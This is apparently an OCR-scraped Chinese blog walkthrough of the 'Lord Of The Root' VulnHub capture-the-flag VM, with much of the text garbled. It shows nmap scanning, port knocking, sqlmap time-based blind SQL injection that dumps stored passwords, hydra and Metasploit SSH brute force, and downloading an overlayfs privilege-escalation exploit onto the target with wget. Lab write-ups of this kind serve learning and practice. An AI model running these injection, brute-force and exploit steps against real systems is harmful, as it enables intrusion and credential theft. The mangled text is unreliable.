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About Release EERDUR I
Name: Lord Of The Root: 1.0.1

Date release: 23 Sep 2015

Author: KookSec

Series: Lord Of The Root

Download Back to the Top
Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with
the dangers of running unknown VMs and our suggestions for "protecting yourself and your network. If you understand the risks, please download!

LordOfTheRoot 1.0.1.0va (Size: 1.6 GB)

Download: http://www.mediafire.com/download/m5tbx0dua05szjm/LordOfTheRoot.ova

Download (Mirror): https://download.vulnhub.com/lordoftheroot/LordOfTheRoot_1.0.1.0ova
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E'ADH @/

145 B &
1.1 nmapiZ #i {5 8


https://blog.csdn.net/WHHLS
https://blog.csdn.net/whhls/category_11669426.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=linux&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/WHHLS/article/details/123860109
https://blog.csdn.net/whhls/category_11669426.html

nmap 192.168.75.0/24 -sP
B2 HirFENip 192.168.75.144

root(@kali: [2022/6

Xt mhff wiE ET B

-] /2022/6
» 192.168.75.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-93-28 12:59 CST
Nmap scan report for 192.168.75.2
Host is up (@.08019s latency).
MAC Address: 00:50:56:F2:4F:B4 (WYMware)
Nmap scan report for 192.168.75.144
Host 1s up (©.00088s Llatency).
MAC Address: @00:0C:29:67:55:4C (VMware)
Nmap scan report for 192.168.75.254
Host is up (@.00040s latency).
MAC Address: 00:50:56:F5:AC:14 (VMware)
Nmap scan report for 192.168.75.140
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.93 seconds

® /2022/6 CSDN @/EfrE X,

nmap 192.168.75.144 -sS -sV -A -T4 -p-

-p- AW OER 1-65535 {HR ELEHE SR I A

-sS SYNFA#i, REB=ZKEBEFAHR, BIOERACARRE, BRIMEAH, FZEroot(admin)iR
-sV iy 05 R4

-A ZEARZEW, FABARGN, A%

-T4 EFXTCPUG 025 1 F) A FH#ER g 10ms

B3] 22 %0 ssh #ERZ1inux3.X|4.X

] /2022/6
) 192.168.75.144
Starting Nmap /.91 ( https://fnmap.org } at 2022-03-28 13:12 CST
Nmap scan report for 192.168.75.144
Host is up (©.00062s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| SSN-NOSTKEY:
| 1824 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
| 256 f3:cd:aa:1d:@5:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:€a:05:43:89:21 (ED25519)
MAC Address: @@:@C:29:67:55:4C (VMware)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 clo
sed port
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.1@ - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 192.168.75.144

0S and Service detection performed. Please report any incorrect results at https://nmap.org/s
ubmit/
Nmap done: 1 IP address (1 host up) scanned in 90.45 seconds

- f2022/6
CSDN @/ EREE X

1.2 sshit &




ssh ssh@192.168.75.144
RIPER knock Easy as 1,2,3
ERRME =R S5Ok

@ /2022/6
ssh@l192.168.75.144

Easy as 1,2,3 CSDN @f}‘ﬁ-ﬁﬁﬁ,&h

SSHEUJ.‘}A:J.OD.;"D.J.HH S pdsswora.
1.3 Sig [ filf 18
1.3.1 port knocking

Ui AR (port knocking) R —Flid#EHE24, MIMEBT I IR S6 28 M i H R 5 s

— BB IERIRFE RS, B KR 23817 I — Beke 8 Wi H 45 fo VP R B I 4.

U AR PR 22 B B2 B VA Bt 2 38 i o A R O SN0 ENLEAT B

U AR AT — IR B T, Hen—FhmE AR TR KiZ—EFFIIKUDP. TCPHHEA.
HIBTEEN L daemonEFHRBIBEALLE, WMEXANFIIERS, WIFEAHERMNRH, BB k5 RrE P i .

B TR SRR L L nux IR 4525 a8 B i) TP ik i) 7 SR 6 U7 16, BB b mT AR P S i R T TSR REAT By KBS T 77 18 TP bk PRy 4 1

i DRGSR B DR F S R IR LR AR/
Easy as 1,2,3 #i##F5IN1 , 2, 3

1.3.3 knock

man knock

B roapPdr ) root@Kali: /2022/6 D

root@kali: 2022/6

Xt hfE W8 BB FE
knockd(1) knockd(1

knock - port-knock client

is a port-knock client. Tt sends TCP/UDP packets to each specified port on host, creating a special knock sequence on the listening server (see the manpage for more info on this).

Make all port hits use UDP|(default is TCP).| If you want each port to use a different protocol (TCP or UDP), then you can specify the protocol on a per-port basis. See the example below.

Wait <t> milliseconds between each port hit. This can be used in situations where a router mistakes your stream of SYN packets as a port scan and blocks them. If the packet rate is slowed with —delay, then the
router should let the packets through.

Force usage of IPvk.

Force usage of IPv6.

Output verbose status messages.
Display the version.

Syntax help.

knock myserver.example.com 123:tcp 456:udp 789:tcp
knock -u myserver.example.com 8284 4721 18592 42912

is the accompanying port-knock server.
Judd Vinet <jvinetazeroflux.org>

knockd 9.8 April 22, 2021 knockd(1)
Manual page knock(1) line 1/45 (END) (press h for help or q to quit)f]

CSDN @/ bR,




linux#%%: sudo apt install knockd
knock 192.168.75.144 1 2 3 -v

FE 2 U

nmap 192.168. 144 -sS -sV -A -T4 -p-
FTLLE 2T R 1133745

/2022/6

Host is up
Not shown: ¢ ltered p
ERVICE VERSION
OpenSSH 6. (Ubuntu Linux; protocol

open and 1 closed

HOP RTT
1

0S and S e detection performed. Please repor

Nmap done: 1 IP address (1 host up) nned in 1@

2 /2022/6

VER I OREE SIS e 0 RA R EALip e BAvs i) At SR A48 32 A1 B 38 2 ok 1 19
fEkali B Al BAVS )
FEwin10TE i1 1Al




192.168.75.144 x4+
<« X @ 192.168.75.144:1337

r . , = ;
I ’ Acunetix - Vulner... ) Messus Scanner (...

B

yiwzya] o)) lnd
192.168.75.144 EIIERAEIT S,

sl R
o EEMEEE

. AR SRR NS
. Vindows 4812

ERR_CONNECTION_TIMED_OUT

CSDN @/LAEia: i,

1.4 13373z O

#EH1337 i
BE NHEARD

Tl B




) Google-chrome

@ view-source:19

urce:192.168.75.144:133

2 | <img src="/images/iwilldoit.jpg" align="middle">
3 | <thtml>

CSDN @/L4piidi,

1.4.1 robots.txt

&Erobots.txt
http://192.168.75.144:1337/robots.txt

R Ibase64%mi%
THprMO9ETTBOVE14TUM5cGItUmx1QzV3YUhBPSBDbG9zZXIh

i:/2022/6

€:192.168.75.144:1337

ST [

1| <html

2 | <img src="/images’hipster.jpg"

CSDN @/ 4ERE

1.4.2 basef& 1%

' THprM@9ETTBOVE14TUM5cGJtUmx1QzV3YUhBPSBDbG9zZXIh' | base64 -d
echo 'Lzk30DMONTIXMC9pbmRleC5waHA=' | base64 -d

/978345210/index.php
GEIEES




/2022/6

20

22/6

NTI

/2022/6

B A7
http://www.hiencode.com/base64.html

& C A %% | hiencode.com

SSLIEHT R IRMA - . .
EHEETE RESSLIEH SSLE&TR I8am
basefRig basef®ig
basel6, base32, base64 basel6, base32, base64
ITHerMGBETTBO\-'EHTL'MSEGhL’mlez\‘}‘r'UhBPSBDbC‘JzZXIh I | Lzk30DMONTIxMCOpbmRIeCSwaHA= Closer!
Al
%88  base64 B(unicodefzF3) f=63  base64 FHE  utis(unicodetRig)
|} | a5 | L} | a2 |
Lzk30DMONTIxMC9pbmRIeC5waHA= Closer!
CSDN @/LEEEEE A,

U5la /978345210/index.php
http://192.168.75.144:1337/978345210/index. php
BE GRS ZiksqliEA

@ LOTR Login! x  +

< C A &% | 192.168.75.144:1337/97

@ EEAEE - W..

Welcome to the Gates of Mordor

User:
Password : |+ |

Login

usermame |

2. sqlmap

212X HE



sqlmap B—/sqliEATLER
S E https://www.cnblogs.com/yankaohaitaiwei/p/11802375.html

RETEN
B\t BT B3 FE ) 48
.--current-db 51) 2 1 B I 48
=D e — N uE E
.--tables 5l R4
-7 fHER%E
.--columns JIHFIEFESA
.-C HBEFE eg: -D security -T users -C password,username --dump
. --dump I F B 2
10.-D security --dump B HE0IEE A S0E

Optimization

-0: FFETAEMRNAIFR

--predict-output: FRIHE W IR % H

--keep-alive: HFFFAMHTITP(S)EE:
--null-connection: M¥BA IZFRAIHTTP IR RL{A A s 2R T TH < B

--threads=THREADS: & & i&RMI I K%
--formsZ#$, sqlmap< HahM-um Furl3KEXT M A R 53T IR

post --forms

2.3 B

XANTHEA—ApostfES FILLA --formsRi#tITEN
sqlmgp=4 HVEAN A payload
sqlmap -o -u http://192.168.75.144:1337/978345210/index.php --forms --dbs

*]1 information_schema

mysql

*

[
[*
[
[

]
*] performance_schema
]

Webapp




G root@kali:2022/6
Xt iff H&wiE BT FEI

® /2022/6
http://192.168.75.144:1337/97834521@/index.php

H
(

e
|_ - . [F]
| | [X ]
|-Iv
[!] legal disclaimer: Usage of sglmap for attacking targets without prier mutual consent is illegal. It is the end user’'s re

sponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible fo
r any misuse or damage caused by this program

https://sqlmap.org

[*] starting @ 14:43:15 /20822-83-28/

[14:4 5] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own (’'PHPSESSID=821l4jcno2m7? ... 4f73a7pn24'). Do you want to us
e those [Y/n]
[14:43:18] [INFO] searching for forms
[1/1] Form:
POST http://192.168.75.144:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [Y/n/q]
>
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected):
do you want to fill blank fields with random values? [¥/n]
it appears that provided value for POST parameter "submit’ has boundaries. Do you want to inject inside? (' Login* ') [y/N]
[14:43:23] [INFO] resuming back-end DBMS 'mysgl’
[14:43:23] [INFO] using '/root/.local/share/sglmap/output/results-@3282022_08243pm.csv’ as the CSV results file in multiple t
argets mode
sqlmap resumed the following injection point(s) from stored session:
Parameter: password (POST)
Type: time-based blind
Title: MySOL = 5.0.12 AND time-based blind (query SLEEP)
Payload: username=nLyK&password=' AND (SELECT 3167 FROM (SELECT(SLEEP(5)))LGUl) AND 'rigm’="rigm&submit= Login
do you want to exploit this SQL injection? [Y/n]
[14:43:24] [INFO] the back-end DBMS is MySOL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL = 5.8.12
24 IFO] fetching database names
fetching number of databases
resumed: &
resumed: information_schema
resumed: Webapp
resumed: mysgl
0] resumed: performance_schema
avallable databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[+*] Webapp

[14:43:24] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sglmap/o
utput/results-03282022_0243pm.csv’

[*] ending @ 14:43:24 /2022-03-28/

CSDN @/4EfFE X,

sqlmap -o -u http://192.168.75.144:1337/978345210/index.php --forms -D Webapp --tables




/2022/6
http://192.168.75.144:1337/978345218/index. php

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’'s re
sponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible fo
r any misuse or damage caused by this program

[*] starting @ 15:@3:11 /2022-03-28/

[l 11] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=v4lsdme2oth ... jd13133k97'). Do you want to us
e those [Y/n]

[l 12] [INFO] searching for forms

[1/1] Form:

POST http://192.168.75.144:1337/978345210/index. php

POST data: username=&password=&submit=%20Login%20

do you want to test this form? [Y/n/q]

>

Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected):

do you want to fill blank fields with random values? [Y/n]

it appears that provided value for POST parameter 'submit’ has boundaries. Do you want to inject inside? (' Login* ') [y/N]
[ 14] [INFO] resuming back-end DBMS "mysgl’

[1F 14] [INFO] using "/root/.local/share/sglmap/output/results-@3282022_0303pm.csv’ as the CSV results file in multiple t
argets mode

sglmap resumed the following injection point(s) from stored session:

Parameter: password (POST)
Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: username=nlLyK&password="' AND (SELECT 3167 FROM (SELECT(SLEEP(5)))LGUL) AND 'rigm’'="rigm&submit= Login
do you want to exploit this SOL injection? [Y/n]
[1F 15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application techmology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL = 5.8.12
15] [INFO] fetching tables for database: 'Webapp'
fetching number of tables for database 'Webapp'
resumed: 1
resumed: Users
Database: Webapp
[1 table]
+—t

| users | CSDN @“ﬂ)ﬂ‘@&»ﬁ&h

e —]

2.5 BF R

sqlmap -o -u http://192.168.75.144:1337/978345210/index.php --forms -D Webapp -T Users --columns

[3 columns]

int(10)
varchar(255) |
varchar(255) |




Mozilla Firefox root@kali: /2022/6 6

SR 1 XAk
i root@kali: 2022/6
X+ fE iRIB ZB EE

& Google-chrome B

/2022/6

http://192.168.75.144:1337/978345210/index. php Webapp -1 Users

https://sqlmap.or

15:07:14 O

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not res

ponsible for any misuse or damage caused by this program
[*] starting @ 15:06:01 /2022-03-28/

[ 1 [INFO] testing connmection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=agfpcruc2vf ...dnq3hap191'). Do you want to use those [Y/n]
1 [INFO] searching for forms

[1/1] Form:

POST http://192.168.75.144:1337/978345210/index. php

POST data: username=&password=Gsubmit=%20Login%20

do you want to test this form? [Y/n/q]

>
Edit POST data [default: username=5password=&submit=%20Login%20] (Warning: blank fields detected):
do you want to fill blank fields with random values? [v/n]
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Loginx ') [y/N]

1 [INFO] resuming back-end DBMS 'mysql’
[ 1 [INFO] using '/root/.local/share/sqlmap/output/results-83282022_8306pm.csv’ as the CSV results file in multiple targets mode
sqlmap resumed the following injection point(s) from stored session:

Parameter: password (POST)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: username=nLyK&password=' AND (SELECT 3167 FROM (SELECT(SLEEP(5)))LGUL) AND 'rigm’-'rigmésubmit= Login
do you want to exploit this SQL injection? [¥/n]
[ 1 [INFO] the back-end DEMS is MysSQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL > 5.0.12
[ 0] fetching columns for table
0] resumed: 3
resumed: id
resumed: int(10)
resumed: username
resumed: varchar(255)
resumed: password
resumed: varchar(255)

'Users’ in database 'Webapp®

[
I
£
L
I
£

s 1 [INFO
Database: Webapp
Table: Users
[3 columns]

N
| column | Type
—

| did | int(1e)

password | varchar(255)
username | varchar(255)
Bl S —

1 [IHFO] you can find results of scanning in multiple targets mode inside the €SV file '/root/.local/share/sqlmap/output/results-83282622_8306pm.csv'

2.6 By BMH

sqlmap -o -u http://192.168.75.144:1337/978345210/index.php --forms -D Webapp
-dump

[5 entries]

iwilltakethering |
smeagol MyPreciousReet |
AndMySword |
legolas AndMyBow |

|

AndMyAxe

|
|
aragorn |
|
|

/2022/6

http://192.168.75.144:1337,/9783452108/index. php Webapp

Users

CSDN @ bRz X,

-T Users -C id,password,username -

id,password,username




entries of column(s)
number of colum

gimli

userna

m

frodo

[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[1
[
D
Ta
[
.
I
B
I
I
I
I
I
.

b o—————

L

= LOTR Login!

<&« X @ © /& o 192.168.75.144 n o e &F

o Kali Linux % Kali Tools Kali Forums Kali Docs & NetHunter Offensive Security MSFU oloit-DB - < GHDB

welcome to the Gates Of Mordor Burp Project Intruder Repeater Window Help

Dashboard  Target  Fr Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Extender  Projectoptions  Useroptions  Learn

User: 1 ntercep HTTP history ~ WebSockets history ~ Options

£/ Request to http://192.168.75.144:1337

Intercept is on

Password : e

W | uren (9

Action || open Browser

Drop

Login

5
L}

1 |PosT /978345210/index. php HTTR/1.1
2|Host: 102.168.75.144:1337

3 User-Agent: Mozl11a/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

4 accept: text/htnl, application;xhtml+xml, application/xml;q=0.9,1image webp, */*;q=0.8
S Accept-Language: en-Us,en; q=0.5

& Accept-Encoding: gzip, deflate -

7 ConttType: ppticarion/s-wesform-urlencoded
& Content-Length: 36

S origin: http://192.168.75.144:1337 savein: (M6 MR |
10 Connection: close
11 Referer: http://192.168.75.144: 1337/978345210/index. php
12 Cookie: PHPSESSID=apibjqufvcihmuhj7l6engtsds

3 Upgrade-Insecure-Requests: 1
4
1€|usernams:l&passwrd:l&subm)t:+Lug)n+

[OLD3dSNI

6-Lord Of The Root-1.0.Ltxt
post.txt
B time.sh
1

File Name: | post.txt |
Files of Type: | FATXIE ~]




Burp Suite Community Edition 8.2 - Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options. Learn
nt HTTP history WebSockets history Options
/ Request to http://192.168.75.144:1337
| Forward | Drop ll Interceptison i Action || Open Browser ‘ W  HTTRA (
Pretty JRENH Hex \n =
1 POST /978345210/index.php HTTP/1.1
2 Host: 192.168.75.144:1337
3 User-Agent: Moz1lla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml, application/xml;q=0.9,1mage /webp, */*;q=0.8
S Accept-Language: en-US,en; g=0.5
& Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-Tform-urlencoded
2 Content-Length: 35
S Origin: http://192.168.75.144: 1337
10 Connection: close
11 Referer: http://192.168.75. 144: 1337/978345210/index . php Scan
12 Cookile: PHPSESSID=apibjgvfvclhmuhj71l6engtsds Send to Intruder Ctrl-I
2 Upgrade-Insecure-Requests: 1 Send to Repeater Ctri-R
La Send to Sequencer
15 username=1&password=1&submi t=+Login+ 9
Send te Comparer
Send te Deceder
Request in browser >
Engagement tools [Proversion only] >
Change request method
Change bedy enceding
Copy URL
Copy as curl command
Copy to file
Paste rrom fle
Save item
Don't intercept requests >
Do intercept >
Convert select N
URL-encode as you type
Cut Ctrl-x
v cerl-C
Paste Cerl-v
Message editor documentation
Proxy interception decumentation CSDN fi:_:.-fjl,f-_

sqlmap -r post.txt Webapp -T Users -C id,password,username



W root@kali: (2022 /6

X fE HwiE BT B

2 /2022/6
post.txt Webapp Users id,password, username

https://sqlmap.org

[!] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user's re
sponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible fo
r any misuse or damage caused by this program

[*] starting @ 15:29:58 /2822-83-28/

[15:29:58] [INFO] parsing HTTP request from 'post.txt’
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Loginx ') [y/N]
[15:29:59] [INFO] resuming back-end DBMS "mysgl’
[15:29:59] [INFO] testing connection to the target URL
sglmap resumed the following injection point(s) from stored session:
Parameter: password (POST)
Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: username=nLyKGpassword=' AND (SELECT 3167 FROM (SELECT(SLEEP(5)))LGUL) AND 'rigm'="rigm&submit= Login

] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL = 5.8.12
[15:29:¢F [INFO] fetching entries of column(s) "id,password,username’ for table 'Users®" in database 'Webapp"'
- : fetching number of column(s) 'id,password,username’ entries for table 'Users’ in database "Webapp®
resumed: 5
resumed: 1
resumed: iwilltakethering
resumed: frodo
resumed: 2
resumed: MyPreciousRO8t
resumed: smeagol
resumed: 3
resumed: AndMySword
resumed: aragorn
resumed: &
resumed: AndMyBow
resumed: legolas
resumed: 5

15 resumed: AndMyAxe
[15:: [INFO] resumed: gimli
Database: Webapp
Table: Users
[5 entries]
+ +
| id | password

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

username

MyPreciousRO@t smeagol
AndMySword aragorn
AndMyBow legolas

+ +
| |
+ +
iwilltakethering | frodo |
| |
| |
| legolas |
AndMyAxe | gimli |

+ +

CSDN @/MEREE X,

3.sshiZE

Hisqlmap SRR KPER ZiksshiBl K-S HD

3.1 hydrat& i ssh

hydra -L users.txt -P passwd.txt 192.168.75.144 ssh
hydra -L users.xtx -P passwd.txt ssh://192.168.75.144

smeagol
MyPreciousReet




Xt e RiE ZF EW
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users.txt passwd.txt 192.168.75.144 ssh

Hydra v9.1 (c) 2¢Z¢ by van Hauser/IHC & David Maclejak - Please do not use in military or secret service organizations, or
for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-28 20:59:43

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (1:5/p:5), ~2 tries per task

[nATAl aTTHrking ssh://192 168 .75 .145:22/

[22][ssh] host: 192.168.75.144 login: smeagol password: MyPreciousR@ot

1 ot 1 target successftully completed, 1 valid password tround

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-28 20:59:47

@ f2022/6

I users.txt passwd.txt ssh://192.168.75.144
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or f
or illegal purposes (this is mon-binding, these #*%* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-28 21:83:02

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (1:5/p:5), ~2 tries per task

[DATA] attacking ssh://192 168,75 144:22/

[22][ssh] host: 192.168.75.144 login: smeagol password: MyPreciousReet

1 ot 1 target successtully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-28 21:83:06

s f2022/6

| [2022]6/passwd.txt - Mousepad
X#F(F) fRIB(E) MZ=(S) ME(V) 3Z#4(D) EBBh(H)
h C x [+ I & C x 0O a&n

g BEEEA root P, Beld S BEEERA root 1EF, BEIRSBATENRE.
1 frodo 1liwilltakethering
2 smeagol 2 MyPreciousRO0t
3 aragorn 3 AndMySword
4 legolas 4 AndMyBow
5 gimli 5 AndMyAxe

CSDN @/M4EREE R,

3.2MSF&Z i ssh

A P 2 MEE S 1%, MHauxiliary/scanner/ssh/ssh_logintiik
FARHIE, f#fauxiliary/scanner/ssh/ssh_enumusersiEER&EERNFH P 4 &2 B FEE
2% https://blog.csdn.net/huweiliyi/article/details/105590291

payload options #&E

search ssh_login

use auxiliary/scanner/ssh/ssh_login //use @ ffF#HtR
show options //BESH

set rhosts 192.168.75.144 //%EH#Rip

set user_file /2022/6/users.txt //&EBEKSA

set pass_file /2022/6/passwd.txt //&BEHEA
exploit //i&4T payload

session -i BELEHE
/ /153 —4 shell
session 1 //ffMshell




/2022/6

METASPLOIT CYBER MI

oit tip: When in a module, use
o the top level prompt

> search ssh_login

tching Modules

Disclosure Date Rank

/s5h_login
/esh_legin_pubkey




msf6 >
msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

BLANK_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 How fast to bruteforce, from @ to 5

DB_ALL_CREDS false no Try each user/password couple stored im the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DAS SR no A cnarific naccwnrd tn anthenticata with

PASS FILE no File containing passwords. one per line

RHOSTS The target host(s), see https://github.com/rapid7/metasploit-framework/wik
1/Using-Metasplolt

RPORT The target port

STUP_OUN_SUCCESS yes Stop guessing when a credential works for a host

THREADS yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER FILE no File containing usernames, one per lLine

VERBOSE false ves Whether to print output for all attempts

msf6 auxiliary( ) » set rhost 192.168.75.144

rhost = 192.168.75.144

msf6 auxiliary( ) »lset user_tile /2022/b/users.Iixt
user_file = /2822/6/users.txt

msf6 auxiliary( ) > set pass_file /2022/6/passwd.txt
pass_file = /2822/6/passwd.txt

msf6 auxiliary( ) » exploit

192.168.75.144:22 - Starting bruteforce
[+] 192.168.75.144:22 - Success: |smeagol:MyPreciousR@8t" ‘"uid=1000(smeagol) gid=-10008(smeagol) groups=1008(smeagol) Linux Lo
rd0fTheRoot 3.19.8-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 1686 1686 GNU/Linux '
Command shell session 1 opened (192.168.75.140:33835 — 192.168.75.144:22) at 2022-03-28 21:14:54 +0800
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( ) > session -1
Unknown command: session
msf6 auxiliary( ) > sessions -1

Active sessions

Id MName Type Information Connection

shell linux SSH smeagol:MyPreciousRe@t 1(192.168.75.144:22) 192.168.75.140:33835 — 192.168.75.144:22 (192.16
8.75.144)

msf6 auxiliary( ) »>|sessions 1
Starting interaction with 1...

id
uid=1008(smeagol) gid=1008(smeagol) groups=1008(smeagol)

CSDN @/D 4 X,

4.3
4.1 expiE i

411 ssh&#

ssh smeago@192.168.75.144
MyPreciousReet

uname -a //BEFIBRIERG AEEER
hostnamectl//&EE FHIEIERA NEEER
WA Linux 3.19.0-25-generic
#IERZA Ubuntu 14.04.3 LTS




/2822/6
l@l92.1

generic i€

* Documenta

p-25-g ri ; .1-Ubuntu SMP Fri Jul 2
hostn

4.1.2 # Eexploit

google chrome #ZE Ubun pl

Go 9|e Ubuntu 14.x exploit X & Q @ m
Q Al ) Images [] Videos ) Shopping [ News i More Tools

About 1.010.000 results (0,57 seconds)

Ikt Lot ot
P ¥ 8

39166 - Exploit-DB
5 Jan 2016 — Linux Kemel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation
(1). CVE-2015-8660 . local exploit for Linux platform.

https://www.exploit-db.com » exploits

37088 - Exploit Database
23 May 2015 — Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation. CVE-
2015-1325GVE-122472 . local exploit for Linux platform

https:/vulmon.com » searchpage » g=ubuntu+ubuntu+14

ubuntu ubuntu 14.04 vulnerabilities and exploits - Vulmon
Vulnerabilities and exploits of Ubuntu Apparmor Canonical Ubuntu 14.04 Canonical Ubuntu
Linux 14.04 Canonical Ubuntu Linux 15.04 Canonical Ubuntu Linux ...

https:/Mmww.cvedetails.com > version_id-448998 » Can..

Canonical Ubuntu Linux version 14.04 : Security vulnerabilities
Use-after-free vulnerability in the Linux kemel exploitable by a local attacker due to reuse of a
DCCP socket with an attached dccps_hc_tx_ccid objectas a ...

https:/ubuntu.com » blog » what-lies-after-lts-two-year...

CSDN @/,
WAt lan Am tha AmAa- Amhana Af it T TOD Tiia vramea ~F



https://www.exploit-db.com/exploits/39166

Linux Kernel 4.3.3 dUbuntu 14.04/15.1 d} - 'overlayfs' Local Privilege Escalation (1)

&
1) EDB-ID: CVE: Author: Type:
D 2015-8660 REBEL LOCAL
E
EDB Verified: Exploit: # / {}

&
v <
2

/%

just another overlayfs exploit, works on kernels before 2015-12-26
=

# Exploit Title: overlayfs local root

# Date: 2016-01-05

# Exploit Author: rebel

# Version: Ubuntu 14.e4 LTS, 15.10 and more
# Tested on: Ubuntu 14.64 LTS, 15.10

# CVE : CVE-2015-8660

just another overlayfs exploit, works on kernels before 2015-12-26

# Exploit Title: overlayfs local root

# Date: 2016-01-05

# Exploit Author: rebel

# Version: Ubuntu 14.04 LTS, 15.10 and more
# Tested on: Ubuntu 14.04 LTS, 15.10

# CVE : CVE-2015-8660

blah@ubuntu:~$ id
uid=1e01(blah) gid=10e1(blah) groups=1001(blah)
blah@ubuntu:~$ uname -a && cat /etc/issue

Ubuntu 14.64.3 LTS \n \1
blah@ubuntu:~$|./overlayfail
root@ubuntu:~# id

uid=e(root) gid=1ee1(blah) groups=e(root),1ee1(blah)

12/2015
by rebel

6354b4e23db225b565d79f226f2e49ecofe1e19b
xf

#include <stdio.h>

4.1.3 1 F exploit

searchsploit 39166 //ftkaliZ<thiexploitfE#E&

locate linux/local/39166.c //EBEEME

cp /usr/share/exploitdb/exploits/linux/local/39166.c /2022/6
python -m SimpleHTTPServer 8081 // 7E£/2022/6 T httpiR%s

wget http://192.168.75.144:8081/39166.c //fEshell H[E Fikexp
gcc 39166.c -0 39166 //%miFexp

Platform: Date:
LINUX

Vulnerable App:

( £ i |

CSDN @/ 4E i,

Linux ubuntu 3.19.0-42-generic #48~14.04.1-Ubuntu SMP Fri Dec 18 10:24:49 UTC 2015 x86_64 Xx86_64 x86_64 GNU/Linux

C @ LE IR P
CSDN @/L4EREEH,

//Z 52 B A5 H

